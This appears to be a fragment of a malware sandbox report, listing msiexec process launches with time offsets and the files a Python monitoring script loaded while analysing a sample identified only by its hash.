- Time offset
  - ["17.598234"]

"C:\WINDOWS\INSTALLER\MSI4A9A.TMP" FLAT
- Time offset
  - ["35.943865"]

C:\WINDOWS\SYSWOW64\MSIEXEC.EXE -EMBEDDING 81C10363B26DADFCE98981DF015316F8
- Time offset
  - ["37.644268"]

C:\WINDOWS\SYSTEM32\MSIEXEC.EXE /V
- Time offset
  - ["33.744263"]

Process Tree

Image path
- C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\PYTHON.EXE C:\PERFLOGS\EVENTWATCHER.PY -P C:\MALWARE\75E03F40A088903579A436C0D8E8BC3D0D71CF2942AD793CC948F36866A2E1AD

Time lapse
- 0.0

Files Accessed
- C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\PYTHON37.DLL
  C:\WINDOWS\SYSTEM32\VERSION.DLL
  C:\WINDOWS\SYSTEM32\SECHOST.DLL
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\VCRUNTIME140.DLL
  C:\WINDOWS\SYSTEM32\API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL
  C:\WINDOWS\SYSTEM32\UCRTBASE.DLL
  C:\WINDOWS\SYSTEM32\API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL
  C:\WINDOWS\SYSTEM32\API-MS-WIN-CORE-FILE-L2-1-0.DLL
  C:\WINDOWS\SYSTEM32\API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL
  C:\WINDOWS\SYSTEM32\API-MS-WIN-CORE-SYNCH-L1-2-0.DLL
  C:\WINDOWS\SYSTEM32\API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL
  C:\WINDOWS\SYSTEM32\API-MS-WIN-CORE-FILE-L1-2-0.DLL
  C:\WINDOWS\SYSTEM32\API-MS-WIN-CRT-STRING-L1-1-0.DLL
  C:\WINDOWS\SYSTEM32\API-MS-WIN-CRT-HEAP-L1-1-0.DLL
  C:\WINDOWS\SYSTEM32\API-MS-WIN-CRT-STDIO-L1-1-0.DLL
  C:\WINDOWS\SYSTEM32\API-MS-WIN-CRT-CONVERT-L1-1-0.DLL
  C:\WINDOWS\SYSTEM32\API-MS-WIN-CRT-MATH-L1-1-0.DLL
  C:\WINDOWS\SYSTEM32\API-MS-WIN-CRT-LOCALE-L1-1-0.DLL
  C:\WINDOWS\SYSTEM32\API-MS-WIN-CRT-TIME-L1-1-0.DLL
  C:\WINDOWS\SYSTEM32\API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL
  C:\WINDOWS\SYSTEM32\API-MS-WIN-CRT-PROCESS-L1-1-0.DLL
  C:\WINDOWS\SYSTEM32\API-MS-WIN-CRT-CONIO-L1-1-0.DLL
  C:\WINDOWS\SYSTEM32\API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL
  C:\WINDOWS\SYSTEM32\IMM32.DLL
  C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
  C:\WINDOWS\SYSTEM32\CRYPTSP.DLL
  C:\WINDOWS\SYSTEM32\RSAENH.DLL
  C:\WINDOWS\SYSTEM32\CRYPTBASE.DLL
  C:\WINDOWS\SYSTEM32\TZRES.DLL
  C:\WINDOWS\SYSTEM32\EN-US\TZRES.DLL.MUI
  C:\WINDOWS\SYSTEM32\EN-US\KERNELBASE.DLL.MUI
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\ENCODINGS\__INIT__.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\ENCODINGS\__PYCACHE__\__INIT__.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\CODECS.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\CODECS.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\ENCODINGS\ALIASES.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\ENCODINGS\__PYCACHE__\ALIASES.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\ENCODINGS\UTF_8.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\ENCODINGS\__PYCACHE__\UTF_8.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\ENCODINGS\LATIN_1.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\ENCODINGS\__PYCACHE__\LATIN_1.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\IO.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\IO.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\ABC.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\ABC.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\SITE.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\SITE.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\OS.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\OS.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\STAT.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\STAT.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\NTPATH.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\NTPATH.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\GENERICPATH.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\GENERICPATH.CPYTHON-37.PYC
  C:\WINDOWS\SYSTEM32\EN-US\KERNEL32.DLL.MUI
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\_COLLECTIONS_ABC.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\_COLLECTIONS_ABC.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\_SITEBUILTINS.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\_SITEBUILTINS.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\SITE-PACKAGES\PYWIN32.PTH
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\_BOOTLOCALE.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\_BOOTLOCALE.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\ENCODINGS\CP1252.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\ENCODINGS\__PYCACHE__\CP1252.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\SITE-PACKAGES\PYTHONWIN
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\SITE-PACKAGES\WIN32\LIB\PYWIN32_BOOTSTRAP.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\PYWIN32_BOOTSTRAP.CPYTHON-37.PYC
  C:\PERFLOGS\EVENTWATCHER.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\LOGGING\__INIT__.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\LOGGING\__PYCACHE__\__INIT__.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\TRACEBACK.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\TRACEBACK.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\COLLECTIONS\__INIT__.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\COLLECTIONS\__PYCACHE__\__INIT__.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\OPERATOR.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\OPERATOR.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\KEYWORD.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\KEYWORD.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\HEAPQ.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\HEAPQ.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\REPRLIB.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\REPRLIB.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\LINECACHE.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\LINECACHE.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\FUNCTOOLS.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\FUNCTOOLS.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\TOKENIZE.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\TOKENIZE.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\RE.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\RE.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\ENUM.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\ENUM.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\TYPES.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\TYPES.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\SRE_COMPILE.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\SRE_COMPILE.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\SRE_PARSE.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\SRE_PARSE.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\SRE_CONSTANTS.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\SRE_CONSTANTS.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\COPYREG.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\COPYREG.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\TOKEN.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\TOKEN.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\WARNINGS.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\WARNINGS.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\WEAKREF.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\WEAKREF.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\_WEAKREFSET.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\_WEAKREFSET.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\COLLECTIONS\ABC.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\COLLECTIONS\__PYCACHE__\ABC.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\STRING.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\STRING.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\THREADING.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\THREADING.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\JSON\__INIT__.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\JSON\__PYCACHE__\__INIT__.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\JSON\DECODER.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\JSON\__PYCACHE__\DECODER.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\JSON\SCANNER.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\JSON\__PYCACHE__\SCANNER.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\JSON\ENCODER.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\JSON\__PYCACHE__\ENCODER.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\SUBPROCESS.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\SUBPROCESS.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\SIGNAL.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\SIGNAL.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\SITE-PACKAGES\XMLTODICT.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\SITE-PACKAGES\__PYCACHE__\XMLTODICT.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\XML\__INIT__.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\XML\__PYCACHE__\__INIT__.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\XML\PARSERS\__INIT__.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\XML\PARSERS\__PYCACHE__\__INIT__.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\XML\PARSERS\EXPAT.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\XML\PARSERS\__PYCACHE__\EXPAT.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\DLLS\PYEXPAT.PYD
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\PYTHON3.DLL
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\XML\SAX\__INIT__.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\XML\SAX\__PYCACHE__\__INIT__.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\XML\SAX\XMLREADER.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\XML\SAX\__PYCACHE__\XMLREADER.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\XML\SAX\HANDLER.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\XML\SAX\__PYCACHE__\HANDLER.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\XML\SAX\_EXCEPTIONS.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\XML\SAX\__PYCACHE__\_EXCEPTIONS.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\XML\SAX\SAXUTILS.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\XML\SAX\__PYCACHE__\SAXUTILS.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\URLLIB\__INIT__.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\URLLIB\__PYCACHE__\__INIT__.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\URLLIB\PARSE.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\URLLIB\__PYCACHE__\PARSE.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\URLLIB\REQUEST.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\URLLIB\__PYCACHE__\REQUEST.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\BASE64.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\BASE64.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\STRUCT.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\STRUCT.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\BISECT.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\BISECT.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\EMAIL\__INIT__.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\EMAIL\__PYCACHE__\__INIT__.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\HASHLIB.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\HASHLIB.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\DLLS\_HASHLIB.PYD
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\DLLS\LIBCRYPTO-1_1-X64.DLL
  C:\WINDOWS\SYSTEM32\API-MS-WIN-CRT-UTILITY-L1-1-0.DLL
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\HTTP\__INIT__.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\HTTP\__PYCACHE__\__INIT__.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\HTTP\CLIENT.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\HTTP\__PYCACHE__\CLIENT.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\EMAIL\PARSER.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\EMAIL\__PYCACHE__\PARSER.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\EMAIL\FEEDPARSER.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\EMAIL\__PYCACHE__\FEEDPARSER.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\EMAIL\ERRORS.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\EMAIL\__PYCACHE__\ERRORS.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\EMAIL\_POLICYBASE.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\EMAIL\__PYCACHE__\_POLICYBASE.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\EMAIL\HEADER.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\EMAIL\__PYCACHE__\HEADER.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\EMAIL\QUOPRIMIME.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\EMAIL\__PYCACHE__\QUOPRIMIME.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\EMAIL\BASE64MIME.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\EMAIL\__PYCACHE__\BASE64MIME.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\EMAIL\CHARSET.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\EMAIL\__PYCACHE__\CHARSET.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\EMAIL\ENCODERS.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\EMAIL\__PYCACHE__\ENCODERS.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\QUOPRI.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\QUOPRI.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\EMAIL\UTILS.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\EMAIL\__PYCACHE__\UTILS.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\RANDOM.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\RANDOM.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\SOCKET.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\SOCKET.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\DLLS\_SOCKET.PYD
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\SELECTORS.PY
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\LIB\__PYCACHE__\SELECTORS.CPYTHON-37.PYC
  C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\PROGRAMS\PYTHON\PYTHON37\DLLS\SELECT.PYD
